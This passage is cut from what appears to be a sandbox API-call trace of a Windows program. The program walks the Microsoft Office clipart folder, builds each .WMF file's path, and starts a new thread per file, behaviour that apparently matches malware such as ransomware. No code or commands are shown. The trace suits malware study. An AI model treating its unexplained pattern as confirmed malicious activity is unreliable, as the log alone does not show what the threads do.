ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0090.927] wcscmp (_String1="AN01174_.WMF", _String2=".") returned 1 [0090.927] wcscmp (_String1="AN01174_.WMF", _String2="..") returned 1 [0090.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b2f0 [0090.927] wcscpy (in: _Dest=0x1cf4b2f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.927] wcscat (in: _Dest=0x1cf4b2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.927] wcscat (in: _Dest=0x1cf4b2f0, _Source="AN01174_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" [0090.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc18 [0090.928] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0090.928] wcscmp (_String1="AN01184_.WMF", _String2=".") returned 1 [0090.929] wcscmp (_String1="AN01184_.WMF", _String2="..") returned 1 [0090.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b380 [0090.929] wcscpy (in: _Dest=0x1cf4b380, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.929] wcscat (in: _Dest=0x1cf4b380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.929] wcscat (in: _Dest=0x1cf4b380, _Source="AN01184_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" [0090.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc1c [0090.929] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0090.929] wcscmp (_String1="AN01216_.WMF", _String2=".") returned 1 [0090.929] wcscmp (_String1="AN01216_.WMF", _String2="..") returned 1 [0090.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b410 [0090.930] wcscpy (in: _Dest=0x1cf4b410, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.930] wcscat (in: _Dest=0x1cf4b410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.930] wcscat (in: _Dest=0x1cf4b410, _Source="AN01216_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" [0090.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20 [0090.930] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0090.930] wcscmp (_String1="AN01218_.WMF", _String2=".") returned 1 [0090.930] wcscmp (_String1="AN01218_.WMF", _String2="..") returned 1 [0090.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b4a0 [0090.930] wcscpy (in: _Dest=0x1cf4b4a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.930] wcscat (in: _Dest=0x1cf4b4a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.930] wcscat (in: _Dest=0x1cf4b4a0, _Source="AN01218_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" [0090.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24 [0090.931] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0090.931] wcscmp (_String1="AN01251_.WMF", _String2=".") returned 1 [0090.931] wcscmp (_String1="AN01251_.WMF", _String2="..") returned 1 [0090.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b530 [0090.931] wcscpy (in: _Dest=0x1cf4b530, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.931] wcscat (in: _Dest=0x1cf4b530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.931] wcscat (in: _Dest=0x1cf4b530, _Source="AN01251_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" [0090.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc28 [0090.932] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0090.932] wcscmp (_String1="AN01545_.WMF", _String2=".") returned 1 [0090.932] wcscmp (_String1="AN01545_.WMF", _String2="..") returned 1 [0090.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b5c0 [0090.932] wcscpy (in: _Dest=0x1cf4b5c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.932] wcscat (in: _Dest=0x1cf4b5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.932] wcscat (in: _Dest=0x1cf4b5c0, _Source="AN01545_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" [0090.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c [0090.933] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0090.933] wcscmp (_String1="AN02122_.WMF", _String2=".") returned 1 [0090.933] wcscmp (_String1="AN02122_.WMF", _String2="..") returned 1 [0090.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b650 [0090.933] wcscpy (in: _Dest=0x1cf4b650, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.933] wcscat (in: _Dest=0x1cf4b650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.933] wcscat (in: _Dest=0x1cf4b650, _Source="AN02122_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" [0090.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc30 [0090.934] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0090.934] wcscmp (_String1="AN02559_.WMF", _String2=".") returned 1 [0090.934] wcscmp (_String1="AN02559_.WMF", _String2="..") returned 1 [0090.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b6e0 [0090.934] wcscpy (in: _Dest=0x1cf4b6e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.934] wcscat (in: _Dest=0x1cf4b6e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.934] wcscat (in: _Dest=0x1cf4b6e0, _Source="AN02559_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" [0090.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc34 [0090.934] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0090.935] wcscmp (_String1="AN02724_.WMF", _String2=".") returned 1 [0090.935] wcscmp (_String1="AN02724_.WMF", _String2="..") returned 1 [0090.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b770 [0090.935] wcscpy (in: _Dest=0x1cf4b770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.935] wcscat (in: _Dest=0x1cf4b770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.935] wcscat (in: _Dest=0x1cf4b770, _Source="AN02724_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" [0090.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc38 [0090.935] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0090.935] wcscmp (_String1="AN03500_.WMF", _String2=".") returned 1 [0090.935] wcscmp (_String1="AN03500_.WMF", _String2="..") returned 1 [0090.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b800 [0090.936] wcscpy (in: _Dest=0x1cf4b800, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.936] wcscat (in: _Dest=0x1cf4b800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.936] wcscat (in: _Dest=0x1cf4b800, _Source="AN03500_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" [0090.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc3c [0090.936] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0090.936] wcscmp (_String1="AN04108_.WMF", _String2=".") returned 1 [0090.936] wcscmp (_String1="AN04108_.WMF", _String2="..") returned 1 [0090.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b890 [0090.936] wcscpy (in: _Dest=0x1cf4b890, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.936] wcscat (in: _Dest=0x1cf4b890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.937] wcscat (in: _Dest=0x1cf4b890, _Source="AN04108_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" [0090.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc40 [0090.937] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0090.937] wcscmp (_String1="AN04117_.WMF", _String2=".") returned 1 [0090.937] wcscmp (_String1="AN04117_.WMF", _String2="..") returned 1 [0090.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b920 [0090.937] wcscpy (in: _Dest=0x1cf4b920, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.937] wcscat (in: _Dest=0x1cf4b920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.937] wcscat (in: _Dest=0x1cf4b920, _Source="AN04117_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" [0090.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc44 [0090.938] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0090.938] wcscmp (_String1="AN04134_.WMF", _String2=".") returned 1 [0090.938] wcscmp (_String1="AN04134_.WMF", _String2="..") returned 1 [0090.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b9b0 [0090.938] wcscpy (in: _Dest=0x1cf4b9b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.938] wcscat (in: _Dest=0x1cf4b9b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.938] wcscat (in: _Dest=0x1cf4b9b0, _Source="AN04134_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" [0090.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc48 [0090.939] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0090.939] wcscmp (_String1="AN04174_.WMF", _String2=".") returned 1 [0090.939] wcscmp (_String1="AN04174_.WMF", _String2="..") returned 1 [0090.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ba40 [0090.939] wcscpy (in: _Dest=0x1cf4ba40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.939] wcscat (in: _Dest=0x1cf4ba40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.939] wcscat (in: _Dest=0x1cf4ba40, _Source="AN04174_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" [0090.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ba40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c [0090.940] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0090.940] wcscmp (_String1="AN04191_.WMF", _String2=".") returned 1 [0090.940] wcscmp (_String1="AN04191_.WMF", _String2="..") returned 1 [0090.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bad0 [0090.940] wcscpy (in: _Dest=0x1cf4bad0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.940] wcscat (in: _Dest=0x1cf4bad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.940] wcscat (in: _Dest=0x1cf4bad0, _Source="AN04191_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" [0090.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc50 [0090.940] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0090.940] wcscmp (_String1="AN04195_.WMF", _String2=".") returned 1 [0090.941] wcscmp (_String1="AN04195_.WMF", _String2="..") returned 1 [0090.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bb60 [0090.941] wcscpy (in: _Dest=0x1cf4bb60, _Source="C:\\Program 